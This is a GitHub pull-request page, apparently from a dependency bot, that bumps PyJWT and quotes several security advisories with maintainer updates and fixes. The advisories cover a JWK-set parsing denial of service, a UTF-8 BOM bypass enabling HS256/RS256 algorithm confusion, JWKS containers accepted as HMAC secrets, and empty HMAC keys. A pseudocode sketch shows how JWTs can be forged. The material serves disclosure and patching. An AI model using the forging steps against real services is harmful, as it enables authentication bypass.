  • Day 0 (date of submission): to be set to the actual API response's created_at timestamp when this report is submitted. If submitted on the date of this draft (2026-09-05), Day 0 = 2026-09-05.
  • Day 90 (full-public-disclosure deadline, regardless of fix status): Day 0 + 90 days -- 2026-12-04 if Day 0 is 2026-09-05.
  • A brief mutually-agreed extension (standard 14-day grace period) is available if a fix is scheduled but not yet shipped by Day 90 -- extending to 2026-12-18 in that case.
  • This window may shorten instead of extend if the issue is confirmed under active exploitation.
Try It Yourself (Sandbox)

Reproduce the PoC above, and attempt your own fix, in an isolated sandbox with no access to production systems, secrets, or real data.

Credit

Discovered and reported by SecDim Security Research: secdim.com, @​secdim, security@secdim.com.

Maintainer update — 2026-09-08

We reproduced the reported behavior on PyJWT 2.13.0 with cryptography installed: a malformed RSA private JWK containing an invalid d value and no CRT parameters raised a plain ValueError while parsing a JWK set. Because PyJWKSet skips PyJWTError instances only, that exception aborted parsing before subsequent valid keys were loaded. The impact is a conditional availability failure for applications that parse a key set containing a malformed entry; it is not a signature-forgery or claims-verification bypass.

The independently verified affected range is >= 2.9.0, <= 2.13.0; earlier releases were not checked. A narrow fix has been prepared in commit 8915570 based on master commit 5fa7594: PyJWK converts key-construction ValueError exceptions to InvalidKeyError, allowing the existing PyJWKSet skip path to continue. Regression coverage verifies that a malformed RSA key is skipped while a valid key in the same set remains usable. The full suite passes with 370 tests and 4 intentional cryptography-environment skips; formatting, lint, and targeted type checks pass. The advisory remains in triage while the fix goes through release planning.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT BOM Bypass

CVE-2026-102272 / GHSA-r6x4-923q-g947

More information

Details

Affected Package

Root Cause

PyJWT 2.13.0 introduced a guard in HMACAlgorithm.prepare_key() (file jwt/algorithms.py, approximately line 344) to prevent RSA public key material from being used as an HMAC secret — the root cause of CVE-2026-48526.

The guard uses bytes.lstrip() before calling startswith(b"{"):

stripped = key_bytes.lstrip() # strips ASCII whitespace only
if stripped.startswith(b"{"): # JWK detection
 ...
 raise InvalidKeyError("The specified key is an asymmetric key...")

bytes.lstrip() with no argument removes only bytes in the ASCII whitespace set (\x20 \t \n \r \x0b \x0c). A UTF-8 BOM prefix (\xef\xbb\xbf) is not stripped, so stripped.startswith(b"{") returns False for any BOM-prefixed JWK JSON. The JWK detection block is never entered, and the RSA public key bytes are silently accepted as the HMAC-SHA256 secret.


PoC Sketch (pseudocode — not a weaponized payload)
##### 1. Attacker obtains RSA public key JWK (e.g., from /jwks.json endpoint)
##### and prepends a UTF-8 BOM byte sequence before the JSON opening brace.

##### 2. Attacker signs a JWT using HS256, with the BOM-prefixed JWK as the secret.
##### 3. Attacker submits the forged token to a verifier that:

##### - accepts algorithms=["HS256", "RS256"]
##### - holds the same RSA public key as raw bytes (BOM-prefixed key file)

##### 4. PyJWT 2.13.0 accepts the token because the BOM causes the JWK
##### detection check to be skipped — the RSA JWK bytes become a valid HMAC key.

##### Result: arbitrary claims (role, sub, etc.) accepted by the verifier.

Impact

An unauthenticated network attacker who knows the target application's RSA public key — which is public by design and obtainable from a JWKS endpoint or certificate — can forge JWT tokens containing arbitrary claims and have them accepted by a PyJWT 2.13.0 verifier configured with a mixed algorithm set (algorithms=["HS256", "RS256"] or equivalent). The resulting impact
is complete authentication and authorization bypass (C:H/I:H). Attack Complexity is High (AC:H) because the attacker must obtain the RSA public key and the verifier must use a mixed-algorithm configuration; no authentication is required (PR:N). This is a patch bypass: users who upgraded to 2.13.0 specifically to remediate CVE-2026-48526 remain vulnerable.


Suggested Fix

Option A (minimal): Replace lstrip() with an explicit strip of known
BOM prefixes before the JSON detection check:

##### Strip common BOM prefixes in addition to ASCII whitespace
BOM_PREFIXES = (b"\xef\xbb\xbf", b"\xff\xfe", b"\xfe\xff")
stripped = key_bytes
for bom in BOM_PREFIXES:
 if stripped.startswith(bom):
 stripped = stripped[len(bom):]
 break
stripped = stripped.lstrip()

Option B (more robust): Use json.loads() as the detection mechanism
instead of a byte-prefix check, so encoding variants and whitespace are
handled by the JSON parser:

try:
 test_obj = json.loads(key_bytes.strip())
 if isinstance(test_obj, dict) and "kty" in test_obj:
 raise InvalidKeyError("The specified key is an asymmetric key...")
except (ValueError, UnicodeDecodeError):
 pass

Option B is preferred because it is resilient to any future encoding variant.


Maintainer update — 2026-09-09

We reproduced the reported algorithm-confusion path on PyJWT 2.13.0. When an application passes a raw public RSA JWK as the key and allows both an asymmetric and HMAC algorithm, a forged HS256 token signed with the known public JWK bytes is accepted when the JWK is represented in encodings accepted by Python's JSON decoder. The normal raw-JWK, asymmetric-only, and algorithm-bound PyJWK controls reject the token. This is an application configuration precondition, but the bypass is in PyJWT's own raw-JWK validation guard and is in scope under the PyJWT security policy.

The fix is committed as 180783930de91876bc0d601f826a1f2956057291. HMACAlgorithm.prepare_key() now checks parsed JSON objects for kty across accepted UTF-8/16/32 representations, preserves non-JWK HMAC key bytes, and conservatively rejects deeply nested JSON objects even when parsing reaches the recursion guard. Regression coverage includes BOM and BOM-less encodings, deep non-JWK keys, deep JWK objects, and unpaired-surrogate cases.

The full suite passes with 391 tests and 4 intentional cryptography-environment skips. A fresh Astra/max independent review accepted commit 180783930de91876bc0d601f826a1f2956057291. It independently confirmed encoding/BOM handling, recursion and surrogate behavior, preservation of non-object key compatibility, and the reported test results.

The fix has not been released. The advisory remains High with its existing CVSS 3.1 score of 7.4, and the patched version remains unset pending release planning.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT accepts public JWK containers as HMAC secrets

CVE-2026-102273 / GHSA-w2cx-738m-mc7w

More information

Details

Summary

PyJWT 2.13.0 contains an incomplete defense against algorithm confusion when
an application mixes symmetric and asymmetric algorithms in one verification
path. A public RSA, EC, or OKP JWK can be accepted as an HMAC secret when it
is wrapped in a JWKS object, nested in an array, or represented in another
container form that does not expose a top-level kty member.

Impact

An attacker who knows the public key material can forge HS256/HS384/HS512
tokens if the application simultaneously:

  • allows both HS* and asymmetric algorithms;
  • passes raw public JWK/JWKS JSON as key=; and
  • uses that same value as the HMAC secret.

This can allow forged JWT claims in affected application configurations. The
issue does not affect applications that keep symmetric and asymmetric
verification paths separate and follow PyJWT's algorithm-selection guidance.

Fix status

The fix is on master in commit 801cd12 (fix: reject public JWK container HMAC keys). HMACAlgorithm.prepare_key now rejects public JWK members found in
objects, arrays, nested containers, BOM/UTF variants, and recursion-limit
inputs. It also recognizes escaped JSON member names without treating ordinary
string values as JWKs. Ordinary JSON secrets remain accepted byte-for-byte.

The change was tested with focused regression tests and the full local tox
matrix. Available Python 3.9, 3.12, and 3.13 crypto/no-crypto suites, mypy,
package metadata, and coverage passed; unavailable interpreters were skipped
by the project configuration. A fresh independent Astra/max security review
accepted the final diff with no blocking findings.

The affected range is = 2.13.0. The fix is on the unreleased development
branch; the patched version will be recorded when a released 2.x version
containing the fix is available. This advisory is being moved to draft pending
that release.

Reporter credit

Credit: Charles Vosburgh / Trilobyte.

Original report

The original report and reproduction package are retained in the private
advisory record.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT's empty-key validation

CVE-2026-102266 / GHSA-9j54-fg26-wv3r

More information

Details

Summary

A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.

PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw str/bytes key path, but accepts the same zero-length key when it is supplied as a symmetric `PyJWK

❗ Important

✂ PR body was truncated to here.

@devin-ai-integration devin-ai-integration Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔍 Devin Review: 1 flag

Not posted on this PR by your GitHub settings — view it in Devin Review. (Configure)

Devin Review

@renovate renovate Bot changed the title Update dependency pyjwt to v2.14.0 [SECURITY] Update dependency pyjwt to v2.15.0 [SECURITY] Oct 1, 2026

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants